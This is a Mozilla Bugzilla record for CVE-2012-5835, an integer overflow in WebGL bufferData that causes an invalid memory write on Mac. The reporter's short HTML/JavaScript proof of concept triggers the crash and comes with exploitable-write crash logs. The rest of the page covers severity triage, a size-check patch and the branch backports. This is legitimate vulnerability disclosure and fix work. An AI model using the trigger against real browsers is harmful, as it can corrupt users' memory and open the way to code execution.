Closed
Bug 790879
(CVE-2012-5835)
Opened 12 years ago
Closed 12 years ago
integer overflow, invalid write w/webgl bufferdata
Categories
(Core :: Graphics: CanvasWebGL, defect)
Tracking
()
RESOLVED
FIXED
mozilla18
People
(Reporter: miaubiz, Assigned: bjacob)
Details
(4 keywords, Whiteboard: [adv-track-main17+][adv-track-esr17+][asan])
Attachments
(5 files, 1 obsolete file)
455 bytes,
text/plain
|
Details | |
4.36 KB,
text/plain
|
Details | |
4.51 KB,
text/plain
|
Details | |
1.25 KB,
patch
|
jgilbert
:
review+
akeybl
:
approval-mozilla-aurora+
akeybl
:
approval-mozilla-beta-
|
Details | Diff | Splinter Review |
1.33 KB,
patch
|
jgilbert
:
review+
akeybl
:
approval-mozilla-esr10+
|
Details | Diff | Splinter Review |
I load:
<html>
<head>
<script>
gl=document.createElement('canvas').getContext('experimental-webgl')
var buf = gl.createBuffer()
gl.bindBuffer(gl.ARRAY_BUFFER, buf)
var magic = 0x12345678
gl.bufferData(gl.ARRAY_BUFFER, new Uint8Array(magic+1), gl.STATIC_DRAW)
gl.bufferData(gl.ARRAY_BUFFER, Math.pow(2, 32), gl.STATIC_DRAW)
gl.bufferSubData(gl.ARRAY_BUFFER, magic, new Uint8Array(1))
</script>
</head>
</html>
and I get:
exception=EXC_BAD_ACCESS:signal=11:is_exploitable=yes:instruction_disassembly=movb %al,(%rdi):instruction_address=0x00007fff92c82a41:access_type=write:access_address=0x0000000012345678:
Exception Type: EXC_BAD_ACCESS (SIGSEGV)
Exception Codes: KERN_INVALID_ADDRESS at 0x0000000012345678
Thread 0 Crashed:: Dispatch queue: com.apple.main-thread
0 libsystem_c.dylib 0x00007fff92c82a41 memmove$VARIANT$sse42 + 57
1 GLEngine 0x000000010cfa9982 glBufferSubData_Exec + 856
rdi: 0x0000000012345678
r11: 0x0000000012345678
r12: 0x0000000012345678
ASAN:SIGSEGV
==3966== ERROR: AddressSanitizer crashed on unknown address 0x000012345678 (pc 0x7fff92c82a41 sp 0x7fff5fbf5380 bp 0x7fff5fbf5380 T0)
AddressSanitizer can not provide additional info. ABORTING
#0 0x7fff92c82a40 in memmove$VARIANT$sse42 (in libsystem_c.dylib) + 227
#1 0x100009291 in wrap_memmove (in firefox) + 545
#2 0x13add8981 in glDeleteBuffers_Exec (in GLEngine) + 1727
#3 0x105d41d4a in mozilla::gl::GLContext::fBufferSubData(unsigned int, long, long, void const*) (in XUL) + 90
#4 0x105d25b2f in mozilla::WebGLContext::BufferSubData(unsigned int, long long, mozilla::dom::TypedArray_base<unsigned char, &(JS_GetObjectAsArrayBufferView(JSContext*, JSObject*, unsigned int*, unsigned char**))>&) (in XUL) + 575
Assignee | ||
Comment 3•12 years ago
|
||
The type of the size parameter to bufferData is like size_t. So on 64bit it is valid to pass up to 2^64-1. Apparently the Mac GL lib doesn't know that. This patch works around it by rejecting bufferData calls with size exceeding UINT32_MAX before passing them to the GL.
Attachment #660823 -
Flags: review?
Assignee | ||
Comment 5•12 years ago
|
||
Actually, this type is signed.
Attachment #660823 -
Attachment is obsolete: true
Attachment #660823 -
Flags: review?
Attachment #660893 -
Flags: review?
Comment 6•12 years ago
|
||
Benoit, what security rating would you give this issue?
Assignee | ||
Updated•12 years ago
|
Attachment #660893 -
Flags: review? → review?(jgilbert)
Updated•12 years ago
|
Attachment #660893 -
Flags: review?(jgilbert) → review+
Assignee | ||
Comment 7•12 years ago
|
||
(In reply to Al Billings [:abillings] from comment #6)
> Benoit, what security rating would you give this issue?
Random memory can be access, but only for read, not for write or execute (for all we know).
So I would naturally call this sec-high (information leakage vulnerability) but looking at https://wiki.mozilla.org/Security_Severity_Ratings, I see that "Any crash where random memory is accessed" is sec-criticial, so I guess sec-critical then (but I would like to understand the rationale for this rule). Up to you.
Assignee | ||
Comment 8•12 years ago
|
||
Assignee: nobody → bjacob
Target Milestone: --- → mozilla18
Comment 9•12 years ago
|
||
Reporter | ||
Comment 10•12 years ago
|
||
@benoit: why is it only a read?
doesn't it end up calling fBufferSubData() which will attempt to memmove stuff into bad places? as in logs in c#0
Assignee | ||
Comment 11•12 years ago
|
||
miaubiz, I can't remember at all what I was thinking then. Comment 0 does say "access_type=write" so it seems I was just wrong. That explains why it's sec-critical then.
Assignee | ||
Updated•12 years ago
|
Keywords: sec-high → sec-critical
Updated•12 years ago
|
Keywords: sec-vector
Assignee | ||
Comment 12•12 years ago
|
||
CC'ing Google.
Assignee | ||
Comment 13•12 years ago
|
||
Comment on attachment 660893 [details] [diff] [review]
work around Mac bufferData bug
Sorry for the delayed request.
[Approval Request Comment]
Bug caused by (feature/regressing bug #): driver bug
User impact if declined: sec-critical
Testing completed (on m-c, etc.): been on m-c since last week
Risk to taking this patch (and alternatives if risky): no risk
String or UUID changes made by this patch: none
Attachment #660893 -
Flags: approval-mozilla-beta?
Attachment #660893 -
Flags: approval-mozilla-aurora?
Comment 14•12 years ago
|
||
Comment on attachment 660893 [details] [diff] [review]
work around Mac bufferData bug
This missed our final beta, and doesn't seem critical for release. Approving for Aurora 17, however.
Attachment #660893 -
Flags: approval-mozilla-beta?
Attachment #660893 -
Flags: approval-mozilla-beta-
Attachment #660893 -
Flags: approval-mozilla-aurora?
Attachment #660893 -
Flags: approval-mozilla-aurora+
Assignee | ||
Comment 15•12 years ago
|
||
status-firefox17:
--- → fixed
Comment 16•12 years ago
|
||
Is the ESR branch affected, given this is a driver bug?
Assignee | ||
Comment 17•12 years ago
|
||
Most certainly yes.
Updated•12 years ago
|
status-firefox-esr10:
--- → affected
status-firefox16:
--- → wontfix
Comment 18•12 years ago
|
||
(In reply to Benoit Jacob [:bjacob] from comment #17)
> Most certainly yes.
Please prepare a patch for mozilla-esr10 as well then. Thanks!
tracking-firefox-esr10:
--- → 17+
Assignee | ||
Comment 19•12 years ago
|
||
Here is the typical ESR10 user:
http://www.grg.org/images/JCalment/JCalmentDate3.jpg
I content that she doesn't care about WebGL and would be better off if we simply turned it off in ESR, which would also relieve us from a significant maintenance burden.
Anyway, here is the ESR10 patch for this bug. Note that we didn't have GLContext::WorkAroundDriverBugs() in ESR10.
Attachment #675624 -
Flags: review?(jgilbert)
Updated•12 years ago
|
Attachment #675624 -
Flags: review?(jgilbert) → review+
Assignee | ||
Comment 20•12 years ago
|
||
Comment on attachment 675624 [details] [diff] [review]
esr10 patch
[Approval Request Comment]
If this is not a sec:{high,crit} bug, please state case for ESR consideration:
User impact if declined: sec:critical
Fix Landed on Version: 17+
Risk to taking this patch (and alternatives if risky): no risk. very simple, well tested already.
String or UUID changes made by this patch: none
Attachment #675624 -
Flags: approval-mozilla-esr10?
Updated•12 years ago
|
Attachment #675624 -
Flags: approval-mozilla-esr10? → approval-mozilla-esr10+
Updated•12 years ago
|
Whiteboard: [adv-track-main17+]
Comment 21•12 years ago
|
||
Comment 22•12 years ago
|
||
Comment on attachment 675624 [details] [diff] [review]
esr10 patch
Funny story - esr10 doesn't define GenerateWarning. Backed out for build failures.
https://hg.mozilla.org/releases/mozilla-esr10/rev/7ded7f96bbbe
Attachment #675624 -
Attachment is obsolete: true
Updated•12 years ago
|
Updated•12 years ago
|
Flags: in-testsuite?
Assignee | ||
Updated•12 years ago
|
Attachment #675624 -
Attachment is obsolete: false
Assignee | ||
Comment 23•12 years ago
|
||
Updated•12 years ago
|
Whiteboard: [adv-track-main17+] → [adv-track-main17+][adv-track-esr17+]
Updated•12 years ago
|
Alias: CVE-2012-5835
Updated•12 years ago
|
Whiteboard: [adv-track-main17+][adv-track-esr17+] → [adv-track-main17+][adv-track-esr17+][asan]
Updated•12 years ago
|
Group: core-security
Updated•8 years ago
|
Keywords: csectype-intoverflow
Updated•6 months ago
|
Keywords: reporter-external
You need to log in
before you can comment on or make changes to this bug.
Description
•